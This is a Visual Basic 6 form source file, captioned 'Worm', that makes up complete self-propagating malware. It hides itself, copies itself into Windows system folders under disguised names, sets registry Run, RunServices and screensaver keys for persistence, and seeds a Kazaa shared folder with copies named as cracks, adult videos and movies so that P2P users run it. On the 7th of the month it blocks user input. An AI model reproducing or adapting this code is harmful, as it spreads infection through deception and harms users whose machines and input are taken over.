VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Worm"
   ClientHeight    =   540
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   855
   ControlBox      =   0   'False
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   540
   ScaleWidth      =   855
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  'Windows Default
   Visible         =   0   'False
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
Dim Hide As New cAppHider
Hide.HideApplication
On Error Resume Next
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\"
Set fso = CreateObject("Scripting.FileSystemObject")
Set wsc = CreateObject("WScript.Shell")
FullName = AppPath & App.EXEName & ".EXE"
If Dir(fso.GetSpecialFolder(0) & "\DriverCheck.exe") <> "DriverCheck.exe" Then
FileCopy FullName, fso.GetSpecialFolder(0) & "\DriverCheck.exe"
End If
If Dir(fso.GetSpecialFolder(1) & "\CoolEffects.scr") <> "CoolEffects.scr" Then
FileCopy FullName, fso.GetSpecialFolder(1) & "\CoolEffects.scr"
End If
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DriverSetup", fso.GetSpecialFolder(0) & "\DriverCheck.exe"
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\WinUpdate32", fso.GetSpecialFolder(1) & "\CoolEffects.scr"
wsc.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE", fso.GetSpecialFolder(1) & "\CoolEffects.scr"
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa Lite\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa Lite K++\Kazaa.exe") = "Kazaa.exe" Then
MkDir fso.GetSpecialFolder(1) & "\KazaaShared"
KazaaShared = fso.GetSpecialFolder(1) & "\KazaaShared\"
FileCopy FullName, KazaaShared & "Visual Basic Crack.exe"
FileCopy FullName, KazaaShared & "Shockwave Flash.exe"
FileCopy FullName, KazaaShared & "SWF_Movie.exe"
FileCopy FullName, KazaaShared & "FlashMovie.exe"
FileCopy FullName, KazaaShared & "XXX video.exe"
FileCopy FullName, KazaaShared & "Cat attacks child.exe"
FileCopy FullName, KazaaShared & "SWF.exe"
FileCopy FullName, KazaaShared & "Comedy video.exe"
FileCopy FullName, KazaaShared & "Simpsons Episode (#" & Second(Now) & ").exe"
FileCopy FullName, KazaaShared & "Tutorial Video on Hacking.exe"
FileCopy FullName, KazaaShared & "MacroMedia Flash 6.0.exe"
FileCopy FullName, KazaaShared & "[SWF] - The Fast and the Furious.exe"
FileCopy FullName, KazaaShared & "[SWF] - Swordfish.exe"
FileCopy FullName, KazaaShared & "[SWF] - Harry Potter and the philosophers stone.exe"
FileCopy FullName, KazaaShared & "[SWF] - Jurassic Park 3.exe"
FileCopy FullName, KazaaShared & App.EXEName & ".exe"
wsc.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir1", fso.GetSpecialFolder(1) & "\KazaaShared"
End If
If Day(Now) = 7 Then
Task_Manager_Caption = "Windows Task Manager"
BlockInput True
Else
Unload Me
End If
End Sub